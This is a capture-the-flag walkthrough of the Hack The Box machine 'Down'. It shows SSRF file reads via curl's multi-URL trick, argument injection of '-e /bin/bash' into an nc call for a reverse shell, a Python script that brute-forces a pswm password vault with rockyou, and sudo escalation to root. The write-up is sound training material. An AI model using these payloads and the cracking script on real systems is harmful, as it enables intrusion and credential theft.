Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nmap -sC -sV -Pn 10.129.234.87 -oN ./nmap.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
| 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Page check
index page
I would try to open the http
server and test this function here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.234.87 - - [02/Oct/2025 11:06:51] "GET / HTTP/1.1" 200 -
We can also use
nc
to check it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.234.87] 36712
GET / HTTP/1.1
Host: 10.10.14.22
User-Agent: curl/7.81.0
Accept: */*
Also we can try to checkhttp://localhost
The next thing I’ll try is if I can use the file://
protocol instead of http://
to read files on the host.
file:///etc/passwd
So let's try to bypass it with http://file:///etc/passwd
curl has an interesting trick: if I enter multiple URLs, it will fetch them simultaneously.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ curl -s http://localhost/test1 http://localhost/test2
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
That means we can just http://localhost/ file:///etc/passwd
Then we can try to read the source code of this service, the default path would be /var/www/html/index.php
So the payload would be
http://localhost/ file:///var/www/html/index.php
We successfully get the source code
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
It is looking for the expertmode
parameter with the value "tcp
"
http://10.129.234.87/index.php?expertmode=tcp
It actually uses exec to run the curl binary, which is wrapped in escapeshellcmd
to prevent command injection.
The problem with the above code is that it converts the $port
value to an int ($port_int
) and validates that value, but then it uses the raw input in the command!
escapeshellcmd
protects against command injection, but not against argument injection. So I can send -e /bin/bash and try to get a shell.
We have to use burpsuite
to exploit that, then you can get the reverse shell as www-data
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.243.238] 58674
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Then upgrade the shell
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Privilege escalation
There is only one valid user aleks
www-data@down:/home$ ls
aleks
And www-data
could visit this directory
www-data@down:/home/aleks$ find . -type f
./.lesshst
./.bashrc
./.sudo_as_admin_successful
./.local/share/pswm/pswm
find: './.cache': Permission denied
find: './.ssh': Permission denied
./.profile
./.bash_logout
pswm
is interesting
A simple command line password manager written in Python.
We can review this file
www-data@down:/home/aleks$ which pswm
/usr/bin/pswm
www-data@down:/home/aleks$ cat .local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
That seems like encrypted
Let's review the code of pswm
from github
, we found the pswm
script is not that long, and there is a function encrypted_file_to_lines
def encrypted_file_to_lines(file_name, master_password):
"""
This function opens and decrypts the password vault.
Args:
file_name (str): The name of the file containing the password vault.
master_password (str): The master password to use to decrypt the
password vault.
Returns:
list: A list of lines containing the decrypted passwords.
"""
if not os.path.isfile(file_name):
return ""
with open(file_name, 'r') as file:
encrypted_text = file.read()
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
if decrypted_text is False:
return False
decrypted_lines = decrypted_text.splitlines()
return decrypted_lines
It’s using the cryptocode
package’s decrypt
function, so we can just call the package and make a decrypted
script or there is a tool https://github.com/seriotonctf/pswm-decryptor
import cryptocode
import sys
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <pwsm file> <wordlist>")
sys.exit()
with open(sys.argv[1], 'r') as f:
pwsm = f.read()
with open(sys.argv[2], 'rb') as f:
passwords = f.read().decode(errors='ignore').split('\n')
for password in passwords:
pt = cryptocode.decrypt(pwsm, password.strip())
if (pt):
print(f"Found password: {password}")
print(pt)
break
Then we can successfully get the password
python3 brute.py pswm /opt/seclists/rockyou.txt
Found password: flower
pswm aleks flower
aleks@down aleks 1uY3w22uc-Wr{xNHR~+E
We can use the credit aleks:1uY3w22uc-Wr{xNHR~+E
to ssh connect the shell
──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ ssh aleks@10.129.243.238
The authenticity of host '10.129.243.238 (10.129.243.238)' can't be established.
ED25519 key fingerprint is SHA256:uq3+WwrPajXEUJC3CCuYMMlFTVM8CGYqMtGB9mI29wg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.243.238' (ED25519) to the list of known hosts.
(aleks@10.129.243.238) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-138-generic x86_64)
System information as of Thu Oct 2 05:24:02 AM UTC 2025
System load: 0.0
Usage of /: 52.4% of 6.92GB
Memory usage: 6%
Swap usage: 0%
Processes: 229
Users logged in: 0
IPv4 address for eth0: 10.129.243.238
IPv6 address for eth0: dead:beef::250:56ff:fe95:e6b3
Last login: Tue Jun 10 15:47:07 2025 from 10.10.14.67
aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
aleks@down:~$ sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
Also, you can just sudo su
to get the root shell
Description
There is a simple code review and a trick use of curl
,kind of interesting.